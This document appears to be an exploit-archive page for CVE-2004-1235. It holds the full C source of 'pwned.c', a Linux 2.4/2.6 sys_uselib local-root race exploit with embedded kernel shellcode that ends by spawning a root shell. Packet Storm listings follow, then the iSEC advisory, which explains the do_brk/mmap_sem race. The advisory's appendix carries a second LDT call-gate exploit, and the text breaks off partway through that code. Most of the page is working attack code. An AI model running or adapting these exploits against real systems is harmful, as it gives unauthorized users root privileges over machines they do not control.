* pwned.c - linux 2.4 and 2.6 sys_uselib local root exploit. PRIVATE.
* it's not the best one, the ldt approach is definitively better.
* discovered may 2004. no longer private because lorian/cliph/ihaquer
* can lick my balls.
* (c) 2004 sd <sd@fucksheep.org>
* requieres cca 1gb on fs.
*/


/*
* first create fake vma structs.
*
*
* let's have 3 threads, t1, t2 and t3.
* t1 and t2 have common vm.
*
* t3:
* - wait4sig (will come back from t2)
* - write(fd3, bigmem, bigfile_size)
* - exit()
* t1:
* - fd3 = empty file
* - fd1 = bigfile, writing it took 16 secs
* - bigmem = mmap(NULL, bigfile_size, fd1, 0);
* - t3 = fork()
* - t2 = clone()
* - fd2 = munmap_file, size of ram.
* - mumem = mmap(NULL, munmap_file_size, fd2)
* - mmap(mumem, 4096, ANONYMOUS) // for extending do_brk check
* - mmap lots of vmas
* - close(fd2);
* - create evil lib
* - free lot of vmas
* - sig @ t2
* - evil_lib->do_munmap(mumem + 4096, munmap_file_size - 4096);
* - sem = 1
* - waitpid
* t2:
* - wait4sig
* - sleep(100msec)
* - mmap(mumem, fd3, 4096) // this is being protected by i_sem !
* - sendsig @ t3
* - sleep(100msec)
* - if (sem) error
* - msync(mumem, 8192) - will wait for write() to finish. munmap finishes by that
* time
* - if (!sem) error
* - if it does return we failed, otherwise shell.
*
*/

#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>

#include <time.h>
#include <sched.h>
#include <signal.h>
#include <stdio.h>

#include <sys/types.h>
#include <sys/stat.h>
#include <linux/fcntl.h>
#include <sys/mman.h>
#include <sys/time.h>
#include <linux/elf.h>



#define __WCLONE 0x80000000 /* Wait only on non-SIGCHLD children */

#define ltime unsigned long long
#define MEMSZ (70*1024*1024)

#define MAGIC -123

unsigned char shellcode[] =
"\x60\xe8\x5f\x00\x00\x00\x30\x03\x98\x19\x00\x00\x00\x00\x00\x00\x00\x00\x00
\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00
\x50\x52\x49\x56\x41\x54\x45\x2a\x6b\x65\x72\x6e\x65\x6c\x20\x63\x61\x70\x20
\x73\x68\x65\x6c\x6c\x63\x6f\x64\x65\x2c\x20\x28\x63\x29\x20\x32\x30\x30\x34
\x20\x3c\x73\x64\x40\x68\x79\x73\x74\x65\x72\x69\x61\x2e\x73\x6b\x3e\x2a\x50
\x52\x49\x56\x41\x54\x45\x5b\xbd\x00\xe0\xff\xff\x21\xe5\x81\x7d\x00\x00\x00
\x00\xc0\x72\x03\x8b\x6d\x00\x8d\x4b\x08\xb8\xb8\x00\x00\x00\xcd\x80\x8b\x11
\x8b\x71\x04\x8b\x79\x08\x83\xc5\x04\x39\x55\x00\x75\xf8\x39\x7d\x04\x75\xf3
\x39\x75\x08\x75\xee\x31\xc0\x48\x89\x45\x00\x89\x45\x04\x89\x45\x08\xb8\xb8
\x00\x00\x00\x8d\x4b\x14\xcd\x80\xff\x41\x04\x74\x0b\x89\x55\x00\x89\x7d\x04
\x89\x75\x08\xeb\xc8\x61\xb8\x85\xff\xff\xff\xc3";

static ltime gtime()
{
struct timeval tv;
gettimeofday(&tv, NULL);
return tv.tv_sec * 1000000 + tv.tv_usec;
}

ltime lt;

static void time_start()
{
lt = gtime();
}

static void time_end()
{
printf("took %lu microseconds\n", gtime() - lt);
}

void core_stat()
{
int s;
char buf[512];
char incore;
unsigned long last = 0;
FILE *f;

sprintf(buf, "/proc/%d/maps", getpid());
f = fopen(buf, "rt");
while (fgets(buf, 512, f)) {
unsigned int from, to;
unsigned int i;

if (sscanf(buf, "%x-%x", &from, &to) < 2)
break;
// printf("%p!%p\n", from, to);
for (i = from; i < to; i += PAGE_SIZE) {
mincore((void *) i, PAGE_SIZE, &incore);
if (incore) {
r:;
if (!last) {
printf("in core 0x%08x-", i);
s = last = i;
continue;
}
if (last + PAGE_SIZE == i) {
// printf("(%p)", i);
last = i;
continue;
}
printf("0x%08x (%d)\n", last + PAGE_SIZE, last + PAGE_SIZE - s);
last = 0;
goto r;
}
if (!last)
continue;
printf("0x%08x (%d)\n", last + PAGE_SIZE, last + PAGE_SIZE - s);
last = 0;
}
}
fclose(f);
}


#define SWAPFILE "TTswap"
#define EATFILES "TTeatfiles"
#define EATFILE "TTeatfile"
#define SHAREFILE "TTsharefile"
#define DUMMYFILE "TTdummyfile"
#define EATTIME 10
#define LIBFILE "TTlib"

/* number of vma struct fill */
#define VMAFILL 15000 

/* how much pages to sync - 2 is enough */
#define NSYNC 2
#define BASE (char *) 0x60000000
#define DBASE (char *) 0x80001000
#define EPAGE (char *) 0x80000000

#define MAPSTEP 64 * 4096

#if 1
#define DEBUG(x...) { printf("%s():", __func__); printf(x); printf("\n"); }
#else
#define DEBUG(x...)
#endif

#define sendsig(pid) kill(pid, SIGUSR1)
#define wait4sig() { while (!gotsig) pause(); gotsig = 0; }

#define PAGE_DOWN(x) (x & ~(PAGE_SIZE-1))
#define PAGE_ALIGN(x) ((x+PAGE_SIZE-1) & ~(PAGE_SIZE-1))

#undef O_DIRECT
#define O_DIRECT 0

struct libimg {
Elf32_Ehdr elf;
Elf32_Phdr ph;
};


struct dentry_struct {
unsigned dummy0, dummy1;
void *inode1, *inode2;
};

struct file_struct {
struct file_struct *next, *prev;
void *dentry;
void *mnt;
void *op;
void *f_mapping[64]; /* somewhere in there is f_mapping on 2.6 */
};

/* this should roughly cover 2.4* and 2.6* */
struct vma_struct {
void *mm;
unsigned long vm_start;
unsigned long vm_end;
struct vma_struct *vm_next;
unsigned long pgprot;
unsigned long vmflags;
char rb[16];
void *shared_next, *shared_prev;
void *vm_ops;
unsigned long pgoff;
void *file;
void *priv;
};

struct mm_struct {
struct vma_struct *mmap;
void *rb;
struct vma_struct *cache;
void *pgd1;
void *pgd2;
void *pgd3;
/* somewhere there lies the spinlock */
unsigned long locks[32];
};


/* the image of the evil library. */
struct libimg limg = {
{
e_ident: "\177ELF",
e_type: ET_EXEC,
e_machine: EM_386,
e_phoff: sizeof(Elf32_Ehdr),
e_ehsize: sizeof(Elf32_Ehdr),
e_phentsize: sizeof(Elf32_Phdr),
e_phnum: 1
},
{
p_type: PT_LOAD,
p_vaddr: 0,
p_memsz: 0
}
};

static void make_lib(char *name)
{
int libfd = open(name, O_CREAT|O_RDWR|O_TRUNC, 0700);
write(libfd, &limg, sizeof(limg));
fchmod(libfd, 0700);
}


static char thread_stack[16384];
int fd1, fd2, fd3;
char buf[MAPSTEP];
int notincore;
int t4;
int t3;
int t2;
int bigsize = 0;
char *bigmem = NULL;
int swapsize = 0;
char *swapmem = NULL;
char *base = BASE;
char *vmamem;
int gotsig = 0;
int sem = 0;

#define cleanup() _cleanup(__func__, __LINE__)
void killall()
{
if (t2 != getpid())
kill(t2, SIGKILL);
if (t3 != getpid())
kill(t3, SIGKILL);
if (t4 != getpid())
kill(t4, SIGKILL);
}
void _cleanup(const char *name, int line)
{
printf("cleanup called! from %s:%d\n", name, line);
killall();
unlink(SHAREFILE);
unlink(SWAPFILE);
unlink(EATFILES);
unlink(EATFILE);
unlink(LIBFILE);
_exit(1);
}


#define FAKES_BASE 0x50000000

struct fakes {
int t1;
struct mm_struct mm;
struct vma_struct vma;
struct file_struct file;
struct dentry_struct dentry;
unsigned long mapping24[128];
unsigned long mapping26[128];
unsigned long inode[128];
unsigned long pgd[1024];
void *ptrs[128];
char shellcode[sizeof(shellcode)];
int t2;
};

struct fakes *fakes = (void *) FAKES_BASE;


/* build the fake vma which msync_interval will get
* we've to emulate a lot of things!
*/
void build_fakevma()
{
int i;
memset(fakes, 0, sizeof(*fakes));
fakes->vma.vm_end = (unsigned)( base + PAGE_SIZE * 2);
fakes->vma.vm_start = (unsigned)(base + PAGE_SIZE);
/* we need this to let the kernel enter the fs callback we control */
fakes->vma.vmflags = 0xf;
fakes->vma.file = &fakes->file;
fakes->vma.mm = &fakes->mm;

fakes->mm.pgd1 = fakes->pgd;
fakes->mm.pgd2 = fakes->pgd;
fakes->mm.pgd3 = fakes->pgd;
/* there are no pmd's */
memset(fakes->pgd, 0, sizeof(fakes->pgd));
/* initialize potential spinlock on smp */
for (i = 0; i < 32; i++)
fakes->mm.locks[i] = 1;
/* 2.4 goes thru dentry */
fakes->file.dentry = &fakes->dentry;
fakes->dentry.inode1 = fakes->inode;
fakes->dentry.inode2 = fakes->inode;
/* this will be i_sem */
for (i = 0; i < 32; i++)
fakes->inode[i] = 1;
/* and this reference to i_mapping */
for (i = 32; i < 128; i++)
fakes->inode[i] = (unsigned long) fakes->mapping24;

/* 2.6 goes thru f_mapping */
for (i = 0; i < 64; i++)
fakes->file.f_mapping[i] = fakes->mapping26;

/* prepare mmappings for both 2.4 and 2.6 */

/* mapping on 2.6 requieres to have ->host defined.
and backing_dev_info pointing to bunch of nonzero memory.
also locked_pages list must point to itself (empty) */
fakes->mapping26[0] = (unsigned long) fakes->inode;
for (i = 1; i <= 3; i++)
fakes->mapping26[i] = 0;
for (i = 4; i < 16; i++)
fakes->mapping26[i] = (unsigned long) &fakes->mapping26[i];
for (i = 16; i <= 30; i++)
fakes->mapping26[i] = (unsigned long) fakes->ptrs;

/* mapping on 2.4 requieres only having mapping consisting of empty lists */
for (i = 0; i <= 30; i++)
fakes->mapping24[i] = (unsigned long) &fakes->mapping24[i];
for (i = 23; i <= 30; i++)
fakes->mapping24[i] = (unsigned long) fakes->ptrs;

/* ok, now setup fops->f_sync to our evil fsync */
fakes->file.op = fakes->ptrs;
for (i = 0; i < 128; i++)
fakes->ptrs[i] = fakes->shellcode;
memcpy(fakes->shellcode, shellcode, sizeof(shellcode));
}

void create_fakepage(void *buf)
{
int i;
void *vma = &fakes->vma;
void **p = buf;

for (i = 0; i < MAPSTEP; i += sizeof(void *))
*p++ = vma; /* !!! */
}


static void sighand(int d)
{
gotsig = 1;
}


static int thread(void *d)
{
int t3;
int ret;
int i;

wait4sig();
printf("(sleep1)\n");
usleep(300000);
printf("(sleep1 finished)\n");
printf("trying to mmap back the evil page\n");
for (i = 0; i < VMAFILL; i++) {
if (i == VMAFILL/2)
ret=mmap(swapmem + PAGE_SIZE * 2, PAGE_SIZE, PROT_READ|PROT_WRITE,MAP_SHARED|MAP_FIXED, fd3, 0);
mmap(vmamem + i * PAGE_SIZE, PAGE_SIZE, PROT_READ|((i&1)?(PROT_WRITE):(PROT_EXEC)),
MAP_PRIVATE|MAP_ANONYMOUS, 0, 0);
}
swapmem[PAGE_SIZE*2] = 'x';
printf("%p, evil mapped\n",ret);
printf("(sleep2)\n");
if (sem)
cleanup();
sendsig(t3);
usleep(300000);
printf("(sleep2 finished)\n");
if (sem)
cleanup();
munmap(vmamem, VMAFILL * PAGE_SIZE);
printf("doing msync\n");
printf("still doing msync\n");
ret = msync(swapmem + PAGE_SIZE * 2, PAGE_SIZE * 4, MS_SYNC);
printf("finished msync, %d, errno=%d\n", ret, errno);
if (ret == -1 && errno == 123) {
sem = 0;
killall();
printf("y4'r3 1uCky k1d!\n");
setresuid(0, 0, 0);
setresgid(0, 0, 0);
execl("/bin/sh", "sh", "-i", NULL);
printf("execve failed %d\n", errno);
}
if (!sem) {
printf(":(\n");
cleanup();
}
_exit(0);
}

int main(int argc, char *argv[])
{
int i, n;
char *dummy = DBASE;

printf("linux kernel msync race condition\nbug discovered by sd, 
further research by sd and *****\nthis is development-in-progress code,
redistribution prohibited!\n=============================================\n");

signal(SIGUSR1, sighand);
signal(SIGALRM, sighand);
setbuf(stdout, NULL);

i = open(SHAREFILE, O_CREAT|O_RDWR|O_TRUNC, 0777);

mmap(FAKES_BASE, PAGE_ALIGN(sizeof(*fakes)), PROT_READ|PROT_WRITE|PROT_EXEC, MAP_SHARED, i,0);
ftruncate(i, PAGE_ALIGN(sizeof(*fakes)));
build_fakevma();
t4 = fork();
if (!t4) {
while (1) {
fakes->t1++;
fakes->t2++;
sched_yield();
}
}
printf("creating fakepage\n");
create_fakepage(buf);
i = open(DUMMYFILE,O_CREAT|O_RDWR|O_TRUNC, 0777);
ftruncate(i, MAPSTEP);
write(i, buf, MAPSTEP);
for (n = 0; n < MEMSZ; n += MAPSTEP)
mmap(dummy + n, MAPSTEP, PROT_READ|PROT_WRITE, MAP_SHARED, i, 0);

fd3 = open(EATFILE, O_CREAT|O_RDWR|O_TRUNC, 0777);
ftruncate(fd3, 16384);
/* create the source junkfile */
fd1 = open(EATFILES, O_CREAT|O_RDWR|O_TRUNC, 0777);
alarm(EATTIME);
printf("done fakepage\n");
do {
int c;
c = write(fd1, buf, MAPSTEP);
if (c < MAPSTEP)
break;
bigsize += c;
printf("done %d Kb\r", bigsize / 1024);
} while (!gotsig);
printf("\n");
alarm(0);
gotsig = 0;
bigmem = mmap(base - bigsize, bigsize, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_FIXED|MAP_SHARED, fd1, 0);
if (bigmem == MAP_FAILED)
cleanup();

t3 = fork();

if (!t3) {
wait4sig();
printf("starting aggresive write!\n");
write(fd3, bigmem, bigsize);
printf("done aggresive write!\n");
_exit(0);
}

t2 = clone(thread, thread_stack + sizeof(thread_stack) - 4,
0xf00, NULL);

swapmem = base;
if (mmap(swapmem, PAGE_SIZE, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_ANONYMOUS|MAP_PRIVATE, 0, 0)
== MAP_FAILED) cleanup();

/* create the swap */
printf("creating swapfile\n");
fd2 = open(SWAPFILE, O_CREAT|O_RDWR|O_TRUNC, 0777);
ftruncate(fd2, MEMSZ);
vmamem = swapmem + MEMSZ + 16*PAGE_SIZE;
// base += VMAFILL * PAGE_SIZE;

printf("vmamem = %p\n", vmamem);
mmap(swapmem + PAGE_SIZE, PAGE_SIZE, PROT_READ|PROT_WRITE, MAP_SHARED|MAP_FIXED, fd2, 0);
printf("swapmem = %p, swapsize = %d\n", swapmem, 2*PAGE_SIZE);
// getchar();

// munmap(vmamem, VMAFILL * PAGE_SIZE);

write(fd2, dummy, MEMSZ);
close(fd2);

printf("unlink\n");
unlink(SWAPFILE);


// core_stat();

build_fakevma();
sendsig(t2);
limg.ph.p_vaddr = (unsigned) swapmem + PAGE_SIZE;
limg.ph.p_memsz = PAGE_SIZE * 2;
make_lib(LIBFILE);
printf("started uselib\n");
time_start();
uselib(LIBFILE);
// munmap(swapmem + PAGE_SIZE, PAGE_SIZE);
time_end();
printf("uselib finished!\n");
sem = 1;
printf("pid %d\n",getpid());
// core_stat();
n = 0;
n = waitpid(t2, NULL, __WCLONE);
printf("waitpid got %d/%d\n", n, errno);
// killall();
cleanup();
}

// milw0rm.com [2005-03-22]
		

- 漏洞信息 (F35920)

uselib24.c (PacketStormID:F35920)
2005-01-27 00:00:00
timhsu  chroot.org
exploit,kernel,local
linux
CVE-2004-1235
[点击下载]

Modified uselib() local exploit for the Linux kernel series. This version has been modified to also work on SMP kernels. Linux kernel versions 2.4 up to and including 2.4.29-pre3, 2.6 up to and including 2.6.10 are affected.

- 漏洞信息 (F35833)

Openwall Linux Kernel Patch (PacketStormID:F35833)
2005-01-22 00:00:00
Solar Designer  openwall.com
overflow,kernel
linux
CVE-2004-1235,CVE-2005-0001
[点击下载]

The Openwall Linux kernel patch is a collection of security hardening features for the Linux kernel which can stop most 'cookbook' buffer overflow exploits. The patch can also add more privacy to the system by restricting access to parts of /proc so that users may not see what others are doing. Also tightens down file descriptors 0, 1, and 2, implements process limits and shared memory destruction.

- 漏洞信息 (F35641)

isec-0021-uselib.txt (PacketStormID:F35641)
2005-01-07 00:00:00
Paul Starzetz  isec.pl
exploit,kernel,local,root
linux
CVE-2004-1235
[点击下载]

Locally exploitable flaws have been found in the Linux binary format loaders' uselib() functions that allow local users to gain root privileges. Linux kernel versions 2.4 up to and including 2.4.29-pre3, 2.6 up to and including 2.6.10 are affected. Exploit included.

Synopsis:  Linux kernel uselib() privilege elevation
Product:   Linux kernel
Version:   2.4 up to and including 2.4.29-pre3, 2.6 up to and including 2.6.10
Vendor:    http://www.kernel.org/
URL:       http://isec.pl/vulnerabilities/isec-0021-uselib.txt
CVE:       CAN-2004-1235
Author:    Paul Starzetz <ihaquer@isec.pl>
Date:      Jan 07, 2005


Issue:
======

Locally  exploitable  flaws  have  been found in the Linux binary format
loaders'  uselib()  functions  that  allow  local  users  to  gain  root
privileges.


Details:
========

The Linux kernel provides a binary format loader layer to load (execute)
programs of different binary formats like ELF or  a.out  and  more.  The
kernel   also   provides   a  function  named  sys_uselib()  to  load  a
corresponding library.  This  function  is  dispatched  to  the  current
process's  binary  format  handler  and is basically a simplified mmap()
coupled with some header parsing code.

An analyze of the uselib function load_elf_library()  from  binfmt_elf.c
revealed a flaw in the handling of the library's brk segment (VMA). That
segment is created with the  current->mm->mmap_sem  semaphore  NOT  held
while  modifying  the  memory layout of the calling process. This can be
used to disturb the memory management and gain elevated privileges. Also
the binfmt_aout binary format loader code is affected in the same way.


Discussion:
=============

The  vulnerable  code  resides  for  example  in fs/binfmt_elf.c in your
kernel source code tree:

static int load_elf_library(struct file *file)
{
[904]  down_write(¤t->mm->mmap_sem);
       error = do_mmap(file,
                     ELF_PAGESTART(elf_phdata->p_vaddr),
                     (elf_phdata->p_filesz +
                      ELF_PAGEOFFSET(elf_phdata->p_vaddr)),
                     PROT_READ | PROT_WRITE | PROT_EXEC,
                     MAP_FIXED | MAP_PRIVATE | MAP_DENYWRITE,
                     (elf_phdata->p_offset -
                      ELF_PAGEOFFSET(elf_phdata->p_vaddr)));
       up_write(¤t->mm->mmap_sem);
       if (error != ELF_PAGESTART(elf_phdata->p_vaddr))
              goto out_free_ph;

       elf_bss = elf_phdata->p_vaddr + elf_phdata->p_filesz;
       padzero(elf_bss);

       len = ELF_PAGESTART(elf_phdata->p_filesz + elf_phdata->p_vaddr + ELF_MIN_ALIGN - 1);
       bss = elf_phdata->p_memsz + elf_phdata->p_vaddr;
       if (bss > len)
              do_brk(len, bss - len);

The line numbers are all valid for the 2.4.28 kernel version. As can  be
seen  the  mmap_sem  is  released  prior to calling do_brk() in order to
create the data section of the ELF library. On the other  hand,  looking
into  the code of sys_brk() from mm/mmap.c reveals that do_brk() must be
called with the mmap semaphore held.

A short look into the code of do_brk() shows that:

[1094] vma = kmem_cache_alloc(vm_area_cachep, SLAB_KERNEL);
       if (!vma)
              return -ENOMEM;

       vma->vm_mm = mm;
       vma->vm_start = addr;
       vma->vm_end = addr + len;
       vma->vm_flags = flags;
       vma->vm_page_prot = protection_map[flags & 0x0f];
       vma->vm_ops = NULL;
       vma->vm_pgoff = 0;
       vma->vm_file = NULL;
       vma->vm_private_data = NULL;

       vma_link(mm, vma, prev, rb_link, rb_parent);

where   rb_link   and   rb_parent   were   both   found    by    calling
find_vma_prepare().  Obviously,  if  the kmem_cache_alloc() call sleeps,
the newly created VMA descriptor  may  be  inserted  at  wrong  position
because the process's VMA list and the VMA RB-tree may have been changed
by another thread. This is absolutely enough to gain root privileges.

We  have  found  at  least  three  different  ways   to   exploit   this
vulnerability.  The  race condition can be easily won by consuming a big
amount of memory. The code attached uses a similar  technique  like  the
do_brk exploit and uses a LDT call gate to gain CPL0 privileges. However
another exploitation vectors exist: through page reference counters  and
'ghost PTEs'.


Impact:
=======

Unprivileged local users can gain elevated (root) privileges.


Credits:
========

Paul  Starzetz  <ihaquer@isec.pl>  has  identified the vulnerability and
performed further research. COPYING, DISTRIBUTION, AND  MODIFICATION  OF
INFORMATION  PRESENTED  HERE  IS ALLOWED ONLY WITH EXPRESS PERMISSION OF
ONE OF THE AUTHORS.


Disclaimer:
===========

This document and all the information it contains are provided "as  is",
for  educational  purposes  only,  without warranty of any kind, whether
express or implied.

The authors reserve the right not to be responsible for the  topicality,
correctness,  completeness  or  quality  of the information  provided in
this document. Liability claims regarding damage caused by  the  use  of
any  information  provided,  including  any kind of information which is
incomplete or incorrect, will therefore be rejected.


Appendix:
=========

/*
 *	binfmt_elf uselib VMA insert race vulnerability
 *	v1.08
 *
 *	gcc -O2 -fomit-frame-pointer elflbl.c -o elflbl
 *
 *	Copyright (c) 2004  iSEC Security Research. All Rights Reserved.
 *
 *	THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY* IT IS PROVIDED "AS IS"
 *	AND WITHOUT ANY WARRANTY. COPYING, PRINTING, DISTRIBUTION, MODIFICATION
 *	WITHOUT PERMISSION OF THE AUTHOR IS STRICTLY PROHIBITED.
 *
 */


#define _GNU_SOURCE

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>
#include <sched.h>
#include <syscall.h>
#include <limits.h>

#include <sys/types.h>
#include <sys/wait.h>
#include <sys/time.h>
#include <sys/mman.h>
#include <sys/sysinfo.h>

#include <linux/elf.h>
#include <linux/linkage.h>

#include <asm/page.h>
#include <asm/ldt.h>
#include <asm/segment.h>

#define str(s) #s
#define xstr(s) str(s)

#define MREMAP_MAYMOVE  1


//	temp lib location
#define LIBNAME 	"/dev/shm/_elf_lib"

//	shell name
#define	SHELL		"/bin/bash"

//	time delta to detect race
#define RACEDELTA	5000

//	if you have more deadbabes in memory, change this
#define MAGIC		0xdeadbabe


//	do not touch
#define	SLAB_THRSH	128
#define	SLAB_PER_CHLD	(INT_MAX - 1)
#define LIB_SIZE	( PAGE_SIZE * 4 )
#define STACK_SIZE	( PAGE_SIZE * 4 )

#define LDT_PAGES	( (LDT_ENTRIES*LDT_ENTRY_SIZE+PAGE_SIZE-1)/PAGE_SIZE )

#define ENTRY_GATE	( LDT_ENTRIES-1 )
#define SEL_GATE	( (ENTRY_GATE<<3)|0x07 )

#define ENTRY_LCS	( ENTRY_GATE-2 )
#define SEL_LCS		( (ENTRY_LCS<<3)|0x04 )

#define ENTRY_LDS	( ENTRY_GATE-1 )
#define SEL_LDS		( (ENTRY_LDS<<3)|0x04 )

#define kB		* 1024
#define MB		* 1024 kB
#define GB		* 1024 MB

#define TMPLEN		256
#define PGD_SIZE	( PAGE_SIZE*1024 )


extern char **environ;

static char cstack[STACK_SIZE];
static char name[TMPLEN];
static char line[TMPLEN];


static volatile int
	val = 0,
	go = 0,
	finish = 0,
	scnt = 0,
	ccnt=0,
	delta = 0,
	delta_max = RACEDELTA,
	map_flags = PROT_WRITE|PROT_READ;


static int
	fstop=0,
	silent=0,
	pidx,
	pnum=0,
	smp_max=0,
	smp,
	wtime=2,
	cpid,
	uid,
	task_size,
	old_esp,
	lib_addr,
	map_count=0,
	map_base=0,
	map_addr,
	addr_min,
	addr_max,
	vma_start,
	vma_end,
	max_page;


static struct timeval tm1, tm2;

static char *myenv[] = {"TERM=vt100",
			"HISTFILE=/dev/null",
			NULL};

static char hellc0de[] = "\x49\x6e\x74\x65\x6c\x65\x63\x74\x75\x61\x6c\x20\x70\x72\x6f\x70"
                         "\x65\x72\x74\x79\x20\x6f\x66\x20\x49\x68\x61\x51\x75\x65\x52\x00";


static char *pagemap, *libname=LIBNAME, *shellname=SHELL;



#define __NR_sys_gettimeofday	__NR_gettimeofday
#define __NR_sys_sched_yield	__NR_sched_yield
#define __NR_sys_madvise	__NR_madvise
#define __NR_sys_uselib		__NR_uselib
#define __NR_sys_mmap2		__NR_mmap2
#define __NR_sys_munmap		__NR_munmap
#define __NR_sys_mprotect	__NR_mprotect
#define __NR_sys_mremap		__NR_mremap

inline _syscall6(int, sys_mmap2, int, a, int, b, int, c, int, d, int, e, int, f);

inline _syscall5(int, sys_mremap, int, a, int, b, int, c, int, d, int, e);

inline _syscall3(int, sys_madvise, void*, a, int, b, int, c);
inline _syscall3(int, sys_mprotect, int, a, int, b, int, c);
inline _syscall3( int, modify_ldt, int, func, void *, ptr, int, bytecount );

inline _syscall2(int, sys_gettimeofday, void*, a, void*, b);
inline _syscall2(int, sys_munmap, int, a, int, b);

inline _syscall1(int, sys_uselib, char*, l);

inline _syscall0(void, sys_sched_yield);



inline int tmdiff(struct timeval *t1, struct timeval *t2)
{
int r;

	r=t2->tv_sec - t1->tv_sec;
	r*=1000000;
	r+=t2->tv_usec - t1->tv_usec;
return r;
}


void fatal(const char *message, int critical)
{
int sig = critical? SIGSTOP : (fstop? SIGSTOP : SIGKILL);

	if(!errno) {
		fprintf(stdout, "\n[-] FAILED: %s ", message);
	} else {
		fprintf(stdout, "\n[-] FAILED: %s (%s) ", message,
			(char*) (strerror(errno)) );
	}
	if(critical)
		printf("\nCRITICAL, entering endless loop");
	printf("\n");
	fflush(stdout);

	unlink(libname);
	kill(cpid, SIGKILL);
	for(;;) kill(0, sig);
}


//	try to race do_brk sleeping on kmalloc, may need modification for SMP
int raceme(void* v)
{
	finish=1;

	for(;;) {
		errno = 0;

//	check if raced:
recheck:
		if(!go) sys_sched_yield();
		sys_gettimeofday(&tm2, NULL);
		delta = tmdiff(&tm1, &tm2);
		if(!smp_max && delta < (unsigned)delta_max) goto recheck;
		smp = smp_max;

//	check if lib VMAs exist as expected under race condition
recheck2:
		val = sys_madvise((void*) lib_addr, PAGE_SIZE, MADV_NORMAL);
		if(val) continue;
		errno = 0;
		val = sys_madvise((void*) (lib_addr+PAGE_SIZE),
				LIB_SIZE-PAGE_SIZE, MADV_NORMAL);
		if( !val || (val<0 && errno!=ENOMEM) ) continue;

//	SMP?
		smp--;
		if(smp>=0) goto recheck2;

//	recheck race
		if(!go) continue;
		finish++;

//	we need to free one vm_area_struct for mmap to work
		val = sys_mprotect(map_addr, PAGE_SIZE, map_flags);
		if(val) fatal("mprotect", 0);
		val = sys_mmap2(lib_addr + PAGE_SIZE, PAGE_SIZE*3, PROT_NONE,
			      MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, 0, 0);
		if(-1==val) fatal("mmap2 race", 0);
		printf("\n[+] race won maps=%d", map_count); fflush(stdout);
		_exit(0);
	}

return 0;
}


int callme_1()
{
	return val++;
}


inline int valid_ptr(unsigned ptr)
{
	return ptr>=task_size && ptr<addr_min-16;
}


inline int validate_vma(unsigned *p, unsigned s, unsigned e)
{
unsigned *t;

	if(valid_ptr(p[0]) && valid_ptr(p[3]) && p[1]==s && p[2]==e) {
		t=(unsigned*)p[3];
		if( t[0]==p[0] && t[1]<=task_size && t[2]<=task_size )
			return 1;
	}
	return 0;
}


asmlinkage void kernel_code(unsigned *task)
{
unsigned *addr = task;

//	find & reset uids
	while(addr[0] != uid || addr[1] != uid ||
	      addr[2] != uid || addr[3] != uid)
		addr++;

	addr[0] = addr[0] = addr[2] = addr[3] = 0;
	addr[4] = addr[5] = addr[6] = addr[7] = 0;

//	find & correct VMA
	for(addr=(unsigned *)task_size; (unsigned)addr<addr_min-16; addr++) {
		if( validate_vma(addr, vma_start, vma_end) ) {
			addr[1] = task_size - PAGE_SIZE;
			addr[2] = task_size;
			break;
		}
	}
}


void kcode(void);


void __kcode(void)
{
asm(
	"kcode:						\n"
	"	pusha					\n"
	"	pushl	%es				\n"
	"	pushl	%ds				\n"
	"	movl	$(" xstr(SEL_LDS) ") ,%edx	\n"
	"	movl	%edx,%es			\n"
	"	movl	%edx,%ds			\n"
	"	movl	$0xffffe000,%eax		\n"
	"	andl	%esp,%eax			\n"
	"	pushl	%eax				\n"
	"	call	kernel_code			\n"
	"	addl	$4, %esp			\n"
	"	popl	%ds				\n"
	"	popl	%es				\n"
	"	popa					\n"
	"	lret					\n"
    );
}


int callme_2()
{
	return val + task_size + addr_min;
}


void sigfailed(int v)
{
	ccnt++;
	fatal("lcall", 1);
}


//	modify LDT & exec
void try_to_exploit(unsigned addr)
{
volatile int r, *v;

	printf("\n[!] try to exploit 0x%.8x", addr); fflush(stdout);
	unlink(libname);

	r = sys_mprotect(addr, PAGE_SIZE, PROT_READ|PROT_WRITE|map_flags);
	if(r) fatal("mprotect 1", 1);

//	check if really LDT
	v = (void*) (addr + (ENTRY_GATE*LDT_ENTRY_SIZE % PAGE_SIZE) );
	signal(SIGSEGV, sigfailed);
	r = *v;
	if(r != MAGIC) {
		printf("\n[-] FAILED val = 0x%.8x", r); fflush(stdout);
		fatal("find LDT", 1);
	}

//	yeah, setup CPL0 gate
	v[0] = ((unsigned)(SEL_LCS)<<16) | ((unsigned)kcode & 0xffffU);
	v[1] = ((unsigned)kcode & ~0xffffU) | 0xec00U;
	printf("\n[+] gate modified ( 0x%.8x 0x%.8x )", v[0], v[1]); fflush(stdout);

//	setup CPL0 segment descriptors (we need the 'accessed' versions ;-)
	v = (void*) (addr + (ENTRY_LCS*LDT_ENTRY_SIZE % PAGE_SIZE) );
	v[0] = 0x0000ffff; /* kernel 4GB code at 0x00000000 */
	v[1] = 0x00cf9b00;

	v = (void*) (addr + (ENTRY_LDS*LDT_ENTRY_SIZE % PAGE_SIZE) );
	v[0] = 0x0000ffff; /* kernel 4GB data at 0x00000000 */
	v[1] = 0x00cf9300;

//	reprotect to get only one big VMA
	r = sys_mprotect(addr, PAGE_SIZE, PROT_READ|map_flags);
	if(r) fatal("mprotect 2", 1);

//	CPL0 transition
	sys_sched_yield();
	val = callme_1() + callme_2();
	asm("lcall $" xstr(SEL_GATE) ",$0x0");
	if( getuid()==0 || (val==31337 && strlen(hellc0de)==16) ) {
		printf("\n[+] exploited, uid=0\n\n" ); fflush(stdout);
	} else {
		printf("\n[-] uid change failed" ); fflush(stdout);
		sigfailed(0);
	}
	signal(SIGTERM, SIG_IGN);
	kill(0, SIGTERM);
	execl(shellname, "sh", NULL);
	fatal("execl", 0);
}


void scan_mm_finish();
void scan_mm_start();


//	kernel page table scan code
void scan_mm()
{
	map_addr -= PAGE_SIZE;
	if(map_addr <= (unsigned)addr_min)
		scan_mm_start();

	scnt=0;
	val = *(int*)map_addr;
	scan_mm_finish();
}


void scan_mm_finish()
{
retry:
	__asm__("movl	%0, %%esp" : :"m"(old_esp) );

	if(scnt) {
		pagemap[pidx] ^= 1;
	}
	else {
